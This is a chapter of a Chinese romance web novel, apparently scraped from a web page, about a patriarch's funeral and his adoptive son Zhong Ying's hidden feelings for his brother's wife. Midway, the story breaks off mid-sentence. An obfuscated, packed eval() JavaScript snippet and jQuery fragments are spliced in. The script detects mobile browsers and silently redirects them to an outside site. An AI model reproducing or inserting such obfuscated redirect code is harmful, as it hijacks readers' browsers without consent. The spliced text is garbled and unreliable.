那年秋，跟今年夏天一样，雨水都多得出奇，天总阴着，云层压得低，空气里永远裹着潮乎乎的凉意。
十一月末，病了很久的林光远去世。
说起邱园的这位公公，明明邱园和他相处的时间很短，却始终对他的印象很好。他虽是做生意出身，却儒雅，温和，见谁脸上都带着笑。
邱园第一次见他的时候，他包了大大的红包，还为自己病着向她道歉。邱园无意中听见他私下里问林盛鸣，是不是担心他的病才着急结婚？
林盛鸣当然否认，林光远却笑着看儿子，说一定要想好，小邱是个好姑娘，年纪也小，既然决定和她成家，就要成熟一些，要有担当。
他们刚结婚那会儿林光远的精神头确实好了许多，之后却迅速恶化，十一月末，他在自己的卧室里安静地阖上了眼。
葬礼举办得低调，但他广交友朋，来吊唁的人还是很多，邱园那几天哭得有些头疼，加上感冒，站在灵堂前看着络绎不绝的来宾时，精神总有些恍惚。
黑压压的人群潮水般涌动、退去，邱园站在角落里，眼睛因泪水浸泡而酸涩。
就在这片摇动的、浓重的黑色背景里，一个人影骤然剥离开来，轮廓渐次清晰，一步步，踏着满室压抑的寂静，沉稳地走向灵前。
婚后第一次见钟应，他腰背挺直得过分，剪裁利落的黑色西装裹住他宽阔的肩背线条，勾勒出挺拔而孤峭的轮廓。
他在灵前站定，垂首，久久不动。期间罗纹来过，她的哭好不容易止住，却在看见钟应时再度失控。
邱园和林盛鸣好不容易才让场面重新恢复平静。
罗懿青哭得嘴唇发白，林光远对她来说比亲生父亲还要亲，邱园担心她，在别人都忙着应客时，抽空去给懿青接杯热水。
热水器就在一边，邱园心不在焉地按下开关，却没想到水龙头有些故障，水向四处炸开，溅到手背上，她低呼一声，环视一圈，确认无人注意到这边的异样，目前不需要她，快步离开去卫生间冲凉水。
匆步离开时，没有注意到身后那个几乎是本能抬脚要跟过来的人。
但脚步刚迈出半寸就猛地顿住，钟应只是攥紧了手，指节泛白。
他看了眼林盛鸣。
收回视线时，只在眼尾留下一点极淡的、只有他自己知晓的波澜。
疼倒是没多疼，水哗哗冲着手背，邱园皱眉看着自己的手背，有点担心离开太久不好。
罗懿青很快跟了过来，一脸慌张：“大哥说你被烫着了？我看看。”
邱园愣了下：“没事的，冲会儿水就好了，你快去休息。”
“还是要抹一点药吧？”
“不用，你看都没怎么红。”
“那也要重视，大哥说他车后备箱里有急救箱，你待会儿去处理一下。”
“真没事。”“哎呀你就去，里面有我呢，你认识他的车吗，就后门停车场最右边那个黑的，门没锁。”罗懿青连推带搡地让她出了门。
外面飘着细细的雨丝，邱园的细高跟一下一下敲在空旷的地面上。
找到那辆车时，邱园犹豫了下，最终还是打开后备箱，找到那个急救箱，用生理盐水简单清洗后拿出纱布。
她怕麻烦，只是站着快速处理。正要取出纱布时，头顶忽然毫无征兆地撑开一把伞，阴影瞬时落下，将斜织的雨丝隔绝在外。
回头，钟应沉默地将伞罩在她头顶，离她一臂之远，整个人却浸在雨里。
“谢谢您的药。”
“手没事吧？”
“不严重，包一下就好。”
单手包纱布有些困难，纱布好几次快要从她手里溜走，邱园耐心地，一遍一遍重来。
全程他都沉默地看着。
她没有要求他帮忙，他也不问。
雨点砰砰地敲在伞上，邱园终于包好，抬眼看了眼他，笑了笑：“谢谢您。”
说着就顶着雨小跑出去，头也不回。
钟应慢慢地，“嗯”了声，算作回应。
他没有跟上去，丢开伞，靠在车身上，沉默地看她快进去时遇上来接她的林盛鸣，小猫一样地钻进他的伞下，偎着他。
他眼神几不可察地黯了一瞬，随即平静地移开视线，投向远处灰蒙蒙的天空，或者只是落在虚无的某一点上。
十岁时，林光远带他从老家来到这个豪华的大城市，他坐在车上，看见他的妻子儿子等在门外，笑得很友善。
下车时林光远想牵他，他看见林盛鸣的目光在父亲和新来的大哥之间流连，于是捏紧手拒绝。
他不知道后来的人生可以那么好，有一个那么那么好，处处维护他，把他当做亲生儿子一样的父亲。
林光远跟他说，你是哥哥，一定要对弟弟好，弟弟也是，要敬爱哥哥。
怀着一些说不清道不明的歉疚，钟应看着林盛鸣，郑重地答应林光远。
他分走了父亲对弟弟的一部分爱，发誓一定会用哥哥的责任来弥补。
所以他出远门读书，在林光远准备供他出国进修，带他入林氏接触业务时，执意一个人离开家，在林光远并不理解的声音里打工，创业，很少回家。
罗纹为此，在分居多年后重新和林光远住在一起，关系回温。
她不排斥养子，不过是家里多一双筷子的事，只不过谈及身后事时，家里的产业还是应当留给自己的孩子。
他在工地里的宿舍过年，罗纹坐着小轿车只身来看他，在通铺床板挤出来的狭仄过道里，她拥着自己的羊绒大衣不碰到任何东西，清冷的眸子看着他：
小钟，你不怨我吧？
钟应清理出干净的位置请她坐下：当然了，罗姨。
他的人生，是老家亲戚口中祖坟冒青烟的幸运，厂里的孩子不出意外，世代也只能是厂里的鬼，每天累到鼻孔都发黑，活一口气罢了，他爹娘被烧死，他不但活了下来，老天还把所有福报全部报应在他身上。
他也如此感念林家的恩情，只是偶尔会想起渐渐模糊的父母面孔，梦到他们在火里哭泣着控诉不公。钟应不知道为什么这一切都发生在自己身上。
接到林光远去世的消息后，他坐了一整夜的车赶来，四十小时未合眼，来到灵前看到那张灰白照片时，依旧没有实感。
现实的认知告诉他这个人再也不会开口了，隐约的认知里，却好像依然相信，在未市这个地方，有人惦记着他。
但就在刚才，隔着雨和她保持距离，连纱布都不能扶一下，钟应忽然就恍惚意识到，世界上仅剩的爱他的人已然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683772|184847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逝去，他爱的人，也已经远得遥不可及。
原来一息之间，人可以失去这么多。
画面骤闪，湿凉的气息掩面而来，伞面抬落间，她嫣然的笑脸靠近，他惘然间，朝后看去。
十岁时在车里初见林盛鸣的场景再度浮现，只不过林盛鸣没有笑，冷淡地看着他，说，哥，我的爸爸你分走了，我喜欢的人，你也要带走吗？
……
梦醒时依旧茫然，雨声噪然，躺了好一阵才意识到是睡前忘了关窗，凉意已从窗缝爬进来，如细流般在空气中漫开。
钟应起身倒水，一饮而尽。
梅雨季的雨不同于季风气候来势汹汹的雨，连绵不绝，他没有伤春悲秋的习惯，雨也好，晴也好，对他而言没有什么区别，可是此时此刻，他竟然有些想念暴雨。
暴雨可以搅乱秩序，可以孤注一掷，在劈头盖脸的狼狈里，阴暗的心思好像就可以心安理得滋生发芽。
时钟显示是凌晨五点刚过，知道自己再睡肯定睡不着，他干脆起来，冲洗，换了一身全黑的运动衣，打算出去跑个步。
罗懿青昨晚打电话说今天要来杭州出差，大张旗鼓地强调让他接待她，钟应说用不用去接，她说不用，用不用请吃大餐，她也说不用，最后自己也乐了，说就来看看他的新家，吃顿他做的饭。
钟应问几点，她也不说，着急忙慌挂了电话，她这个人就是这样，电话永远听不完。
以为她来都是在下午，钟应准备开车去公司，过两天和地方政府有个会，主要是联合政府力量，承接企业废料达标委托处理，不是什么大项目，但重在在新的领域开疆扩土。
结果罗懿青一通电话把计划打乱。
他去小区外接她，隔着很远就看到那一抹红，罗懿青笑着跑过来，还煞有其事地提了点儿礼品，她又换了发型，一靠近就撩了下头发：“怎么样？”
钟应笑着回应：“很好看，很衬你。”
罗懿青把礼品丢到他手里，笑着：“还得是你，除了你没有一个男的认出来我换发型了，有时候真感觉，男人和女人的差异，比人和狗的差异都大。”
“刚开完会？”
“是啊，累死了，今晚就要坐飞机回去，赶得很。”
钟应安慰的话还没说出口，罗懿青已经嫣然一笑：“但是赚得多，值了。”
乘电梯时，说话的人一直都是罗懿青，钟应根本插不进去嘴，罗懿青讲累了，到他家门口时终于安静了一会儿。
罗懿青想起什么，嗔怪道：“你怎么也不问问茂茂，她一直念叨你呢。”
钟应开门，给她拿拖鞋，解释得认真：“想先问问你好不好来着。”
罗懿青愣了下，踩上钟应拿给她的女士拖鞋，难得地沉默了一秒。
也就一秒，一秒后她忽然发现什么似的，夸张道：“新拖鞋啊？还以为你决定搬到杭州是因为金屋藏娇了呢。”
穿着拖鞋迅速进屋转了一圈，出来的时候罗懿青脸色更垮：“真没新嫂子啊？”
“亏我还给新嫂子买了礼品。”
“这属于你个人投资失误。”
罗懿青不禁白他一眼。
她倒是半无奈，半心疼地感慨：“行吧，反正有茂茂给咱俩收尸，也不急。”